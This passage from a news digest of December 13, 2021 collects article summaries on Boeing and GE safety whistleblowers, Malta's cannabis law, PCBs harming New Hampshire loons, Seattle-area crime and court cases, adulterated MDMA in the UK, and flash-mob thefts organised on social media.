Bickeboeller is one of the highest-level technical employees at Boeing in the field of “configuration management,” which means ensuring that the planes produced are built exactly to the design specifications.

In the troubled early years of the 787 Dreamliner program, as far back as 2007, Bickeboeller documented serious manufacturing problems at major 787 suppliers, especially at Alenia in Italy, Mitsubishi Heavy Industries in Japan and supplier facilities in North Charleston that later became Boeing South Carolina.

These suppliers were delivering 787 wings and large fuselage sections that did not meet Boeing’s manufacturing specifications. This became glaringly public when the first 50 or so 787s assembled in Everett had to be repeatedly pulled apart and repaired.

The earliest 787s used in test flights were so reworked most were donated to museums as unfit to fly and unsalable. The early production planes — line numbers 7 to about 19, dubbed “the Terrible Teens” — were sold at steep discounts.

When Bickeboeller’s warnings to managers failed to spur action, he filed internal ethics complaints and then, in 2014, a formal FAA complaint.

Boeing managers removed him from the 787 program and lowered his performance review scores. At one point, company investigators interrogated him about whether he was raising fake concerns so that he would have to travel to Italy and could visit his mother in Germany.

In 2016, the FAA substantiated Bickeboeller’s allegations about the Italian supplier and Boeing agreed to implement corrective actions. That FAA investigation did not scrutinize the other suppliers.

That year, Bickeboeller dropped a whistleblower complaint he’d filed with the Department of Labor alleging illegal retaliation, telling the judge that he wanted to work with Boeing to address the underlying issues and that the company had promised a senior executive would look into his concerns.

Bickeboeller’s new FAA complaint makes clear that he believes the company’s quality control oversight is still wanting.

In the complaint, Bickeboeller states that in December 2020 he told managers that two violations the FAA identified in a 2008 audit, related to oversight and control of parts from lower levels in the supply chain, continue “to be a systemic problem.”

His complaint cites a February 2021 email exchange between senior Boeing management stating that “Martin is right, we are not following the processes” but adding that “there’s no evidence of it causing a safety or airworthiness issue.”

Bickeboeller briefed Boeing's legal and ethics teams. He sent an email to CEO Dave Calhoun early last year.

In response, Boeing had investigators and its chief counsel assess the allegations, though they turned down his request that Bickeboeller be allowed to brief experts. In an email to Bickeboeller in April, Boeing gave its verdict that "no further action is needed."

Bickeboeller sees his job reassignments and the ignoring of his latest warnings as evidence of a broken safety culture at Boeing.

"The culture of regarding procedural violations as an issue to be dealt with when it is convenient is endemic at Boeing," he wrote.

Boeing, in a statement, said the company "takes concerns raised by our teammates very seriously and thoroughly investigates them to ensure that they are fully addressed."

The statement added that the issues Bickeboeller raises are not related to the [manufacturing defects that have largely halted deliveries of 787s for more than a year](#) — chiefly small gaps at fuselage and other structural joins. Boeing said it is conducting comprehensive inspections and is being transparent with the FAA.

"We are taking the time to ensure that all jets conform to our exacting engineering specifications," Boeing added. "Based on engineering analysis, none of the issues present an immediate safety of flight concern to the active in-service fleet." Reached by phone Saturday, Bickeboeller said he could not comment.

Threat of termination

In this letter to the Senate, former GE engineer Kucera notes that GE previously had been highly regarded for the high standards of this internal unit for certifying engines.

In an interview, Kucera said that began to change after the coronavirus pandemic hit and GE saw a surge in retirements.

In April 2020, Kucera's team inspected the GE9X engine that the company presented for final certification of that engine's production system and identified multiple compliance discrepancies.

These weren't safety issues — some engine components simply differed from the final production design — and the engine achieved its production certification in October 2020.

However, Kucera alleges he was subsequently held responsible for the discrepancies.

In March 2021, GE management placed him on a "coaching plan," a scrutiny of his performance that included an explicit warning that "failure to demonstrate sustained improvement in your performance will result in further actions ... up to and including termination."

At this point, Kucera's wife was expecting their second child and the threat of losing his job and the family's health coverage was stressful.

In May, he told his managers he would resign unless they removed the threat of termination. GE management declined to do so and accepted his resignation.

Bradley, the GE spokesperson, said the independence of the unit that inspects engines on behalf of the FAA "is fundamental to GE Aviation certification activities."

He said no employees were involuntarily laid off in 2020 and that the number of inspectors dropped naturally because of a decline in certification activity.

Return to Top	<p>Since leaving GE, Kucera has worked on contract with various aerospace companies as an FAA-appointed Designated Airworthiness Representative, meaning he is qualified to certify work on behalf of the safety agency.</p> <p>Typically he's helping smaller aerospace companies certify parts or systems that they supply to larger companies. He cites a recent job for Northwest Aerospace Technologies in Everett, now part of French aerospace group Safran, where he worked on certifying an airplane passenger cabin modification.</p> <p>At huge companies like Boeing or GE, such certification work is delegated to their own employees, who may perceive management pressure to not let the certification process hold up the production schedule.</p> <p>At smaller companies, in contrast, management must do whatever it takes to get the outside inspector's approval, Kucera said.</p> <p>At Northwest Aerospace Technologies, "we ruled that modification," he said. "When we said no, it was pretty much no."</p> <p>Kucera said oversight by an outside inspector means smaller companies "operate at a higher level of integrity than Boeing and GE."</p>
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HEADLINE	12/13 Malta to legalize recreational pot
SOURCE	https://www.washingtonpost.com/world/2021/12/13/malta-legalize-marijuana-cannabis-cultivation-europe/
GIST	<p>Malta is set to become the first country in Europe to legalize the cultivation and consumption of marijuana for recreational use, in a bill that goes before parliament Tuesday and is widely expected to be enacted by the end of the week.</p> <p>The European Union's smallest member will just edge past Luxembourg, which has approved but not yet implemented legislation to legalize growing cannabis plants, and Germany, where a new government has pledged to legalize marijuana consumption in licensed stores.</p> <p>The move comes amid a global shift toward local and nationwide decriminalization, and in some cases legalization, of the cultivation, sale and consumption of cannabis.</p> <p>Uruguay was the world's first country to legalize the production and sale of marijuana, in 2013. In the years since, countries including Canada and Morocco have created their own legal cannabis markets.</p> <p>In Europe, the Netherlands was the first to permit the selling, buying and use of marijuana in shops, though cultivation of the plant remains illegal. Some European countries and 18 U.S. states and Washington, D.C., have enacted various laws to decriminalize the sale and consumption of cannabis, or in the case of some U.S. states, to legalize it even as it remains illegal under federal law.</p> <p>Advocates say regulating cannabis is beneficial for both public health and the economy, as it formalizes an illicit and lucrative trade and reduces consumer risks and incarceration rates. Critics cite marijuana's psychoactive properties and a moral opposition to legalizing drugs.</p> <p>Under Malta's bill, people 18 and older will be allowed to possess up to seven grams of marijuana and to grow up to four cannabis plants, as well as store up to 50 grams of dried leaves. Anyone caught possessing up to 28 grams will be fined around \$55 to \$115 but will not have the offense on their criminal record.</p> <p>Consuming cannabis in front of a child, however, will incur a fine ranging from \$340 to \$565. People younger than 18 caught possessing cannabis will not be arrested but will instead be sent to a judicial commission that will recommend a care plan.</p>

“There is a wave of understanding now that the hard-fist approach against cannabis users was disproportionate, unjust and it was rendering a lot of suffering to people who are leading exemplary lives,” Maltese politician Owen Bonnici [told the Guardian](#). “But the fact that they make use on a personal basis of cannabis is putting them in the jaws of criminality.”

Malta legalized divorce in 2011 and remains the European Union’s only country to entirely ban abortions.

Cannabis is Europe’s most commonly used illicit drug, according to the European Monitoring Center for Drugs and Drug Addiction (EMCDDA). Last December, the United Nations removed it from a list of the most dangerous drugs, citing its medicinal uses.

“The transatlantic winds of change that have been blowing in the Americas for a while have now reached the shores in Europe,” Tom Blickman of the Amsterdam-based Transnational Institute told a webinar [hosted by EMCDDA](#) in October. There’s growing consensus, he said, of a need to “take back control of an illicit and criminal market that in fact is out of control in terms of protecting public health.”

Similar to the way cannabis regulations vary among U.S. states, Blickman said, Europe’s laws have likewise developed along “what fits best for local circumstances or national circumstances.”

But, he cautioned, laws on both the European and international level that continue to class cannabis as an illicit substance could at some point clash with country-level efforts to legalize it.

The question, he said, is “how can we best manage this process so that the wide diversity of Europe is respected.”

Karen Mamo, an addiction researcher in Malta, [said](#) that among the country’s challenges is preventing “corporate takeover” of the recreational cannabis market and regulatory system.

“We could end up with another alcohol and tobacco industry creating much more, even bigger, challenges than the actual cannabis,” she said.

[Return to Top](#)

HEADLINE	12/13 PCBs still posing threat to wildlife
SOURCE	https://abcnews.go.com/Technology/wireStory/banned-decades-ago-pcbs-posing-threat-wildlife-81724693
GIST	<p>HOLDERNESS, N.H. -- Navigating her boat toward a wooden platform floating in an idyllic New Hampshire lake where “On Golden Pond” was filmed, biologist Tiffany Grade spotted what she had feared.</p> <p>An olive brown loon's egg with black speckles was sitting on an nest, abandoned by its parents and with no chance to hatch. Gently scooping it up with gloved hands, Grade placed the egg in a zip lock bag and packed it into a cooler.</p> <p>The egg was sent to a lab in Canada to test for chemicals including Polychlorinated biphenyls, or PCBs, that have been found in other Squam Lake loon eggs, the fish there and a tributary of the lake.</p> <p>Grade is investigating the potential link between PCBs and population declines of the fish-eating birds known for their sharp beaks, black and white speckled backs, iridescent greenish heads and haunting calls.</p> <p>“These are chemical contaminants,” said Grade, who works for the Loon Preservation Committee in New Hampshire. “We don’t know what the effects are but some of those eggs are at levels that have exceeded (those) known to cause health and reproductive problems in other bird species ... That is enough to make us worried and dig into it more.”</p>

The presence of PCBs on a lake in the shadow of the White Mountains demonstrates how these heat-resistant chemicals once used widely in electrical equipment and other industrial applications continue to pose a threat to wildlife more than four decades after being banned in the United States.

PCBs, a class of more than 200 chemicals used for almost 50 years, have been found in wildlife around the world, such as Icelandic killer whales, shorebirds along the Great Lakes and bottlenose dolphins along the East Coast and in the Mediterranean. Scientists have found they can make some animals more vulnerable to diseases including cancer and can disrupt growth, energy production and reproduction.

“There is five decades of research showing that PCBs have had health impacts on both wildlife and humans,” said Keith Grasman, a biology professor at Calvin University in Michigan who has studied pollutant impacts on birds in the Great Lakes and other places. “While their concentrations in the environment have declined in many situations ... we still see issues with these legacy compounds.”

In New York, researchers found chickadees and song sparrows that ate insects contaminated with PCBs along the Hudson River sounded a bit different than ones in uncontaminated areas in the Adirondacks. Cornell University researchers believe the PCBs interfere with development in part of the bird’s brain responsible for song and could have consequences for breeding.

PCBs continue to move up the food chain, with animals at the top often harboring the highest concentrations.

The Marine Mammal Center responds to 800 stranded marine mammals yearly along 600 miles (965 kilometers) of California coast. A 2020 study of stranded adult sea lions concluded that PCBs and DDT, which also was banned decades ago, are contributing to cancer rates as high as 23%.

“That rate of cancer is mostly unprecedented in wildlife,” said Cara Field, medical director of the center, adding that the disease caused a “complete systemic breakdown” in the animals and their blubber had much higher levels of PCBs than those without cancer.

Fish-eating birds, too, have suffered from exposure to PCBs.

In recent decades, studies at a Superfund site in Massachusetts, on islands in the New York harbor and at contaminated sites in the Great Lakes found significant levels of PCBs in common terns, endangered Roseate terns, Caspian terns, herring gulls and double-crested cormorants. Scientists found that PCBs, sometimes combined with other chemicals, suppressed the birds' immune system, increased infertility and reduced chick survival compared to unpolluted sites.

At Squam Lake — site for the 1981 movie starring Henry Fonda and Katharine Hepburn and now a tourist destination — Grade and colleagues at the Loon Preservation Committee, which has been working since 1975 to protect New Hampshire's loons, want to know why they are producing so few chicks.

The population crashed between 2004 and 2005 — from 16 pairs to nine — and has been slow to recover. This year, there were only 14 pairs recorded on the lake, compared to 312 in other parts of the state. Only three chicks survived — still less than half the productivity of other New Hampshire lakes.

The committee, which began testing Squam Lake eggs in 2007, found PCBs and other contaminants were up to six times higher than eggs tested elsewhere in New Hampshire, Maine and New York. The nonprofit also found PCBs in a tributary emptying into the lake and in their crayfish, which led to a theory that PCB-laced oil used to control dust on dirt roads decades ago may have reached the waterways.

The loon egg contamination prompted the state to test the lake's smallmouth bass and yellow perch. And high PCBs levels led to a 2020 health advisory limiting the amounts of fish eaten by anglers.

"We would not have suspected that Squam Lake would have been a place in which this was a problem," said Ted Diers, administrator of the state's Watershed Management Bureau. "There is no industry. It just opens up lots of questions that we truly can't answer at this point."

Loons, a threatened species in New Hampshire, face myriad challenges.

Shore-prowling predators such as raccoons raid their nests. Territorial disputes kill the birds. Ingesting lead fishing tackle poisons them. Their nest sites lose out to development. And a warming climate can overheat loons and flood their nests.

Researchers have also found PFAS fire retardants, the pesticide chlordane and other chemicals in loon eggs. But PCBs were in the greatest concentrations, although Grade says more work's needed to assess what's causing the bird's poor reproductive outcomes.

"Contaminants aren't the only thing these loons are dealing with. They are dealing with a lot," she said. "That is not easy to separate. It is a lot easier if you are sitting a bird down in the lab and dosing it with contaminants and seeing what happens. That obviously is not what we are doing."

Anne Kuhn, a U.S. Environmental Protection Agency scientist who has researched contaminants in wildlife, agreed it could be a challenge to tease out the impact of PCBs on Squam Lake loons.

Her own work found that mercury, often from coal-fired power plants, combined with shoreline development and human activities in New Hampshire lakes, were hurting loon populations. But mercury alone was not.

Similarly, said EPA research biologist Diane Nacci, it could be that PCBs and other chemicals working together are causing the problem

"Any one stressor might not be enough to affect reproduction in loons but together that might be the straw that broke the camel's back," Nacci said.

For now, Grade collects abandoned eggs on Squam and other New Hampshire lakes and tests them for contaminants, searching for elusive answers that could help the loons survive. "They are an absolutely charismatic birds," she said. "It's hard to imagine any New Hampshire lake without loons."

[Return to Top](#)

Crime, Criminals

[Top of page](#)

HEADLINE	12/13 Gun violence impacts minority communities
SOURCE	https://southseattleemerald.com/2021/12/13/new-report-shows-uptick-in-gun-violence-primarily-impacts-communities-of-color/
GIST	<p>Terrell Elmore remembers feeling terrorized. The youth football coach says gun shots that sounded like they were nearby interrupted a September game. As the shots popped off, everyone at Judkins Park began to flee and run for shelter.</p> <p>"It was probably a block away," Elmore says. "We didn't know if they were shooting, we didn't know the scenario or what was behind it, we didn't know if they were coming, we just didn't know; and come to find out after I ... ran up to where I heard the shots ... They had already fled the scene and some girl came down there and shot eight times in the air."</p> <p>As a result of the shooting, some parents pulled their kids from the CD Panthers team and now there's more of a police presence at football games. Elmore said he's thankful no one actually got shot, but that he doesn't want this to become the norm for children in the South End.</p>

“I’ve experienced shootings in the inner city,” he said. “When I was growing up, I saw somebody get shot and it’s something you just don’t want to pass on; that kind of trauma was one thing I didn’t want my kid to experience.”

New statistics from the King County’s Prosecuting Attorney’s Office show that gun violence has seen a drastic uptick in the South End and south King County area. From January to September 2021, the total number of shooting incidents increased by 48% compared to the four-year average between 2017 and 2020. During the same time span in 2021, there were also 73 fatal shooting victims which represents a 71% increase compared to the four-year average between 2017 and 2020.

“It’s happening too often where it’s becoming normal and you hear a lot of that shit of ‘Damn, again?’” said Elmore.

The majority of the data in King County Firearm Violence Report comes from the King County Sheriff’s Office as well as agencies in Seattle, Kent, Auburn, Des Moines, Federal Way, Renton, and Tukwila. Nearly 79% of the data comes from those eight agencies, although there are 20 agencies represented across the report.

The report comes at the heels of another effort by King County to reimagine public safety through an anonymous survey. The survey, which is available in Spanish, Somali, and Vietnamese, aims to focus on public safety from a race and equity angle. Results will help shape a funded alternative to the traditional police response.

While December is not included in the report, this month alone saw multiple shootings early on, with six cases reported within 27 hours (three of those were in the South End).

According to the report, “there have been 14 more fatal shooting victims and 86 more non-fatal shooting victims in 2021 as compared to the same time period in 2020.” And while the data shows a qualitative uptick, one thing hasn’t changed — who it impacts.

As it was in 2020, Black people continue to represent 50% of both fatal and non-fatal victims of shootings, per the report. Of the 356 shooting victims, People of Color in general represented 81% of them.

The data is hard for Gloria Hodge to stomach.

“It stresses me out,” she said.

As the director of Hoa Mai Vietnamese Bilingual Preschool, Hodge said she feels accountable to the families and children she serves, making sure that everyone is safe during playtime and pick-ups and drop-offs.

The preschool had a close encounter with a shooting this past June, but luckily everyone was indoors at the time. Hodges said she had left, but when the shooting occurred, she immediately returned.

“It’s very challenging and frustrating to have that experience as a program where children are safe and healthy and have access to quality care,” she said.

The preschool is located in Mt. Baker and the shooting occurred at the bus stop nearby. Since then, Hodge said businesses such as the Starbucks nearby shut down and never reopened, adding to a sense of abandonment.

“Some of the work [Starbucks] shares is toward racial and social justice, but it doesn’t make sense; they immediately closed their doors and when some of the community engaged with them they went silent on the community,” she said. “There needs to be accountability.”

	<p>Hodge said she's reached out and been involved in conversations and meetings involving multiple community partners, including the Mt. Baker Mutual Aid group, elected officials, and nonprofits that are in similar situations as hers such as Wellspring and Treehouse.</p> <p>"There's a lot of time dedicated toward the cause of concern to see how we can succeed and be safe for children, families and communities," she said.</p> <p>Hodge said there's more security in the area, including a 24/7 Sound Transit guard, but hopes that more is allocated to finding solutions.</p> <p>"There needs to be allocation toward the root of why there's so much gun violence in the area and work with those that are in need," she said. "What is the root of the problem?"</p>
	Return to Top

HEADLINE	12/13 CA police recover 1,000 catalytic converters
SOURCE	https://www.ktvu.com/news/san-jose-police-recover-1000-catalytic-converters-make-15-arrests
GIST	<p>SAN JOSE, Calif. - A total of 15 suspects have been arrested and more than 1,000 catalytic converters have been recovered during a six-month, multi-agency investigation, San Jose police announced on Monday.</p> <p>Dubbed "Operation Cat Scratch Thief," police also said that they confiscated \$50,000 in cash, four handguns, and an illegal assault rifle, among other things.</p> <p>All the suspects are from San Jose and they range in age from 81 to 22.</p> <p>They are: Joe Chen, William Collier, Noe Antonio De La O Ramirez, Robert Frank, David Leaf, Robert Lee, Jorge Omar Flores-Meza, Noah Muchera, Waiyaki Muchera, Casandra Ochoa, Mario Zarate Sanchez, Godofredo Lopez Serrano, Jeffrey Smith, Alton Walker and Lacey Westgate.</p> <p>Police did not state whether these suspects were working in concert together, or alone.</p> <p>The Santa Clara County District Attorney has charged the suspects with crimes ranging from grand theft to receiving stolen property and from assault with a deadly weapon to possession of illegal weapons.</p> <p>Detectives also shut down three businesses where owners often bought cut catalytic converters with no questions asked. Those businesses are being referred to the San José City Attorney's Office, police said.</p> <p>The operation ended on Nov. 16, which began when police across the region saw a rise in catalytic converter thefts in 2020.</p> <p>A catalytic converter is an exhaust emission control device that reduces a vehicle's release of toxic gases and pollutants. The device is typically installed midstream between a car's engine and exhaust pipe and is generally located on the underside of the car.</p> <p>Catalytic converters contain precious metals that can be extracted and sold and are therefore targeted by thieves.</p> <p>A typical theft involves lifting a parked car with a jack and cutting out the converter with a cordless saw. The theft takes minutes but causes thousands of dollars' worth of damage to victim vehicles. Stolen catalytic converters are often sold on the black market to illegal fencing operations for hundreds of dollars.</p> <p>Since the start of the pandemic, the city of San José has experienced an increase in catalytic converter thefts, police said.</p> <p>San Jose police announced the arrest of 15 people for allegedly stealing catalytic converters. Dec. 13, 2021</p>

	<p>Police data shows 84 catalytic converters were stolen in 2019, 724 were stolen in 2020 and 1,087 were stolen in the first 10 months of 2021.</p> <p>Many of these thefts have become increasingly brazen and suspects are often armed with guns, police said.</p> <p>Suspects have shot victims and witnesses who have interrupted the thefts and in San José a catalytic converter theft has been linked to at least one homicide, police said.</p> <p>The operation was conducted by members of the San José Police Department, including patrol, the financial crimes unit, the street crimes unit, the covert response unit, the crime analysis unit, and the burglary prevention unit.</p> <p>Police also received help from the Santa Clara County District Attorney's Office, the Sacramento County Sheriff's Office, the San Mateo County Sheriff's Office, the Bureau of Automotive Repair, and Copart Inc.</p>
Return to Top	

HEADLINE	12/13 Seattle ranked 10th worst city retail crime
SOURCE	https://www.newsnationnow.com/holidays-on-alert/seattle-ranked-10th-worst-city-for-retail-crime/
GIST	<p>SEATTLE (NewsNation Now) — The police chief of Seattle says his city is seeing an increase in all types of retail thefts, an issue NewsNation is digging into ahead of the holidays.</p> <p>“Anything from burglaries to thefts, larcenies, as well as motor vehicle thefts,” Chief Adrian Diaz said on “Rush.”</p> <p>The National Retail Federation ranked Seattle among the top 10 cities for retail theft this year.</p> <p>“We’ve actually seen more organized retail theft” than in previous years, Diaz said. “Where people are going and grabbing large sums of property, anything from clothing attire, electronics. Then, they are trafficking them on the streets, selling them at the corners or selling them to other businesses.”</p> <p>Diaz said to combat this, the department is focusing on putting officers in the right place, both in shopping districts and near homes to deter porch pirates.</p> <p>Location and communication are even more important now that Seattle police, like many other departments across the country, are dealing with a staffing shortage.</p> <p>“We’re using good contacts with all of our security companies, and making sure that we’re in constant communication,” Diaz said. The department is also helping to ensure “that all the businesses have good working cameras, that their security staff know exactly how to address these issues, or, when they call, what we’re looking for on the investigation side. So we all have to figure out ways to work together.”</p> <p>Diaz also says combating retail theft goes beyond just his department. He said thieves need to face consequences when they’re caught.</p> <p>“When we do find people that are doing smash and grabs, or doing organized retail theft, that when we do arrest them, that they’re held accountable for their actions,” Diaz said.</p>
Return to Top	<u>Read the full report: NewsNation's survey about holiday crime</u>

HEADLINE	12/13 Man jailed 8 ½ years; car dealership rape
SOURCE	https://www.seattletimes.com/seattle-news/law-justice/man-who-raped-woman-in-restroom-of-ballard-car-dealership-sentenced-to-minimum-of-8%bd-years-in-prison/

GIST	<p>A Seattle man who raped a woman in a Ballard car dealership's temporary restroom in May 2018 received an indeterminate sentence of 8½ years to life in prison Friday after pleading guilty last month to first-degree rape and unlawful imprisonment, according to King County prosecutors.</p> <p>Christopher Teel, who has been diagnosed with unspecified schizophrenic spectrum disorder or some other psychotic disorder, was found not competent to stand trial three times before his competency was restored following a yearlong stay at Western State Hospital, his defense attorney, Sandro Parrotta, wrote in a pre-sentence report to Superior Court Judge Sandra Widlan.</p> <p>Teel, who moved to Seattle from Texas in 2016, was 24 years old and experiencing homelessness when he followed a 40-year-old woman into the women's restroom at Carter Motors, in the 5200 block of Leary Avenue Northwest, on May 14, 2018, court records show. The dealership was under renovation at the time and the restroom was in a portable unit at the end of a long ramp.</p> <p>The woman had dropped her car off to be serviced and was waiting for a shuttle to drop her off at work when she was attacked, charging papers say.</p> <p>After following the woman, Teel locked the door to the restroom, forced open a stall door, grabbed the woman by the neck, threw her onto the floor and sexually assaulted her as she punched and fought him, say the charges.</p> <p>When the shuttle driver couldn't find the woman, he went looking for her and heard her screams for help. When someone pounded on the door, Teel stood up, which allowed the woman to unlock the door. A dealership employee asked what was wrong and the woman, who was crying and visibly upset, said she had just been raped, the charges say.</p> <p>Teel tried to walk away but was tackled by an employee and held until police arrived.</p> <p>One of the arresting officers later reported that Teel was ranting about the air being poisonous and that nothing Teel said made sense, according to Parrotta's pre-sentence report. During his interrogation, Teel head-butted another officer and was seen on video talking to himself.</p> <p>"By all accounts, Christopher is not a criminal mastermind and was likely experiencing a psychotic break the day he assaulted Ms. S. as evidenced by various reports of his behavior that day," a defense mitigation specialist wrote in the report.</p> <p>During his time in jail and at Western State, Teel, now 28, twice severed a part of a finger by intentionally slamming it in a door and lost more than 100 pounds, which was considered drastic and concerning by jail health staff, the report says. The deterioration in his mental and physical health at one point led to him being forcibly injected with antipsychotic medication, it says.</p> <p>According to the report, Teel has a family history of mental illness, was bullied as a child and began showing signs of mental illness when he was 19 or 20.</p> <p>Before the rape, Teel had no criminal history, according to court records.</p> <p>The state and defense jointly recommended Teel be sentenced to a minimum of 8½ years in prison, though his sentence can be extended if the state Indeterminate Sentence Review Board determines Teel is more likely than not to commit another sex offense if released, court records show. Should he be released, Teel will be required to register as a sex offender and will be under the supervision of the Department of Corrections for life.</p>
	Return to Top

HEADLINE	12/13 Return, and decline in quality, of MDMA
SOURCE	https://www.vice.com/en/article/wxdn7n/why-mdma-pills-so-bad-right-now

Remember [hot vaxx summer](#)? After being cooped up like doomed hens last winter, we were all supposed to emerge squinting into the strobe light, horny enough to bone glass. Clubs and festivals were finally welcoming us back, with [MDMA](#) the lubricant of choice. It was, apparently, going to be the [third summer of love](#) and the roaring 20s entwined as our synapses sparkled with serotonin.

Except it didn't *quite* happen like that. Why? First: crippling communal [social anxiety](#). Secondly: the MDMA and ecstasy were largely dreadful. But this helped propel pingers and diz back to the top of the agenda – even when mostly in absentia. Here's why 2021 marked the return of [MDMA](#).

Adam Waugh works for the drugs checking organisation, [The Loop](#), on the harm reduction frontline. “Before clubs and festivals opened, we were mainly warning about high strength drugs and the potential harms around these,” he tells VICE.

Before The Loop could get any drugs under their mass spectrometer for testing, the familiar feeling of avoidable tragedy bit hard when two young ravers died after taking drugs on the same late July weekend in London and Bristol. In the aftermath, [press](#) focused on a super strong batch of Blue Tesla pills after Bristol's Motion nightclub issued a [social media warning](#).

Numbers of deaths in England and Wales related to MDMA have significantly galloped after 2017, rising from 56 to a record 92 in 2018. The dangers facing pre-COVID ravers were mainly posed by a [steady average rise](#) in purity of ecstasy and MDMA – plus the emergence of so-called super strength pills like Blue Teslas or the 300mg [Blue Punisher](#). The increased potency was generally exacerbated by issues like [nightclub overcrowding](#), a lack of [free water provision](#) and [sniffer dogs](#).

When The Loop finally got to do [some in-the-field drug testing](#) at August Bank Holiday's Lost Village festival, the results showed how the market had pivoted. Around 50 per cent of MDMA and ecstasy samples were not MDMA. Of these, circa 25 per cent were in fact synthetic cathinones like 4-CMC, 3-MMC, or Eutylone, and roughly half were caffeine.

4-CMC is a substance that imitates some of ecstasy's effect (broadly speaking, it'll keep you wildly stimulated, but invoke little of that baby-making empathy and euphoria). It is Eutylone, however, with its short MDMA-like effects that can encourage re-dosing and awful 24 hour-or-more trips, that causes most concern. “It has the highest likelihood of causing drug-induced psychosis,” says Waugh, noting its similarities to N-Ethylpentylone, which wreaked havoc at festivals in [2018](#).

So what changed in 2021?

“I think there was a disjuncture between supply and demand, due to the disruption across the world caused by COVID-19,” says Steve Rolles, the senior policy analyst at the [Transform Drugs Policy Foundation](#).

The Global Drug Survey COVID-19 Special Report, which covered the initial spring 2020 lockdown, found that 42 percent of MDMA/ecstasy users [reduced their intake](#), largely due to socialising being outlawed.

The 2021 Global Drug Survey subsequently reported that global MDMA use had [dropped from 37.6 percent](#) in 2020 to 26.3 percent in 2021. In short: A vacuum had been created.

“In a normal year, producers would have made and stockpiled enormous quantities of pills and MDMA,” says Rolles. “Because the market dried up, those stockpiles weren't there when UK clubs and festivals opened again,”

Mireia Ventura is a manager at the [Trans European Drugs Information Project](#), which collates drug-testing results from across the continent. She says that these issues were far less prevalent across the Channel, largely down to the roads being open.

“Our scenario in Europe was different. We did not detect those same adulterants. Our feeling is that drugs

sent by air were more affected,” she explains,

They saw a small rise in caffeine and amphetamine being used as adulterants. The average tested pill strength dropped from 183mg in 2020 to 165mg in 2021 – hinting at a slight reduction in MDMA availability – which may have been exacerbated by dealers pivoting to the more profitable methamphetamine, which Ventura says is popular in Eastern Europe.

The infiltration by pan-European police of [EnchroChat](#) – an encrypted messaging service often used by organised crime groups – has also been mooted as breaking down the lines of communication between MDMA producers and English distributors, while the United Nation’s banning of PMK (a precursor used to synthesise MDMA) probably didn’t help. Of the latter, however, Rolles says: “If you start banning [substances like] PMK, they just move into an illegal space, like illegal drugs. You then just add a premium for their desirability and cost. And with this particular precursor, there are other ways to create it anyway.”

Mireia Ventura posits that the rise in adulterated MDMA and ecstasy could have been down to UK-based local drug producers rather than the more “stable” operations running out of Holland and Belgium that [traditionally churn out](#) most of the planet’s premium pingers.

It is these local operations that she suggests were most likely responsible for the 477mg Blue Punisher pill tested and [tweeted](#) by Manchester’s MANDRAKE lab in November. It was part of a batch of tablets all testing between 397mg to 477mg, with the latter [hailed](#) as the highest strength pill ever recorded. Regarding these now infamous tablets, a well-placed anonymous source tells VICE that the super strength pills “were in Guernsey in September. They came from London and were cheap at an import level [into Guernsey], but then mental expensive at a street level. They were probably done with a shoddy press and made a load of people ill around then.”

Everyone that VICE spoke to was fairly sanguine about the return of better pills and MDMA to the market, with Steve Rolles saying that “the assumption would be that if the opportunity [a drug market] is there, then producers and suppliers will up their game. But that’s assuming that things aren’t going to tighten up again with the new variant.”

VICE also spoke with an anonymous London-based distributor and they said that, “If you’re linked up, it’s about £4,250 to £5,500 [for a kilo of MDMA, compared to roughly £1,500 to £2,000 pre-COVID] but for lots of people there is a drought and demand is still bigger than supply. But prices have started to come back down slowly. Everyone wants diz.”

Maybe – Omicron variant-willing – MDMA will be back in time for the next year’s hot vaxx summer.

[Return to Top](#)

HEADLINE	12/13 Court date set: American in fatal UK crash
SOURCE	https://www.washingtonpost.com/world/europe/anne-sacoolas-harry-dunn-court/2021/12/13/e2e0dfd4-5c65-11ec-bda6-25c1f558dd09_story.html
GIST	<p>LONDON — Anne Sacoolas, the American accused of killing British teenager Harry Dunn while driving on the wrong side of an English road, is scheduled to face a criminal trial in Britain next month, but it’s unclear how or whether the diplomatic dispute that has held up the case has been resolved.</p> <p>On Monday, more than two years after the fatal collision of Aug. 27, 2019, the Crown Prosecution Service (CPS) said the case would be heard on Jan. 18 at the Westminster Magistrates’ Court. Sacoolas has been charged with death by dangerous driving.</p> <p>The announcement that she would face justice was cheered by Britain’s foreign secretary, as well as the family of 19-year-old Dunn.</p>

But prosecutors wouldn't say how the case would proceed — whether Sacoolas had agreed to appear in person, though she fled Britain soon after the collision and claimed diplomatic immunity, or whether she would appear virtually, as had been floated by the British Foreign Ministry.

The Trump administration had [refused Britain's extradition request](#), and the Biden administration has said it would not revisit that decision.

Asked if Sacoolas would physically appear in court, the CPS declined to comment. It said in a statement, "While the challenges and complexity of this case are well known, we remain committed to securing justice in this matter."

Meanwhile, Sacoolas's lawyers denied British media reports that she would appear via video link.

"While we have always been willing to discuss a virtual hearing, there is no agreement at this time," a spokeswoman for the Arnold & Porter law firm told The Washington Post in an emailed statement.

On the night of the collision, Dunn was riding his motorcycle near Royal Air Force Croughton station, a U.S. Air Force installation to which Sacoolas, her diplomat husband and their children had recently moved.

Sacoolas, through her lawyers, has [admitted to driving on the wrong side of the road](#) and said she "had no time to react when she saw the motorbike — the crash happened too fast."

Three weeks later, while an investigation was ongoing, she and her family left Britain to return to the United States. The U.S. government asserted diplomatic immunity on her behalf as the wife of a diplomat. Her lawyer has also said that she had been working as a U.S. intelligence officer.

Dunn's family [filed a lawsuit](#) against Sacoolas in U.S. District Court in Virginia, claiming wrongful death and seeking financial damages. [That case was settled](#) in September.

The British case is a criminal rather than civil one.

British Foreign Secretary Liz Truss said Monday that it was "welcome news that Anne Sacoolas will face a U.K. court."

"We continue to support the family to get justice for Harry Dunn," she said.

The Dunn family said they had finally gotten what they had been pushing for.

"My family and I are feeling very emotional and overwhelmed, having just learned the news that Mrs. Sacoolas is now to face our justice system," said Dunn's mother, Charlotte Charles. "It is all that we asked for following Harry's death."

[Return to Top](#)

HEADLINE	12/13 Flash-mob thefts planning on social media?
SOURCE	https://www.wsj.com/articles/snapchat-and-other-apps-were-used-to-plan-flash-mob-thefts-police-say-11639400403?mod=hp_list_pos5
GIST	<p>SAN FRANCISCO—A recent rash of thefts by fast-moving mobs at stores in the Bay Area and outside Minneapolis were organized on social media and committed by people who often didn't know one another, according to law-enforcement officials investigating the incidents.</p> <p>Snapchat was among the social-media apps and messaging services used by thieves in the Bay Area, one of the law-enforcement officials said.</p>

The organizing tactics, which police say they haven't seen before, make it difficult to catch or identify perpetrators, that official said. When suspects are arrested, they often don't have names or information about others who were there.

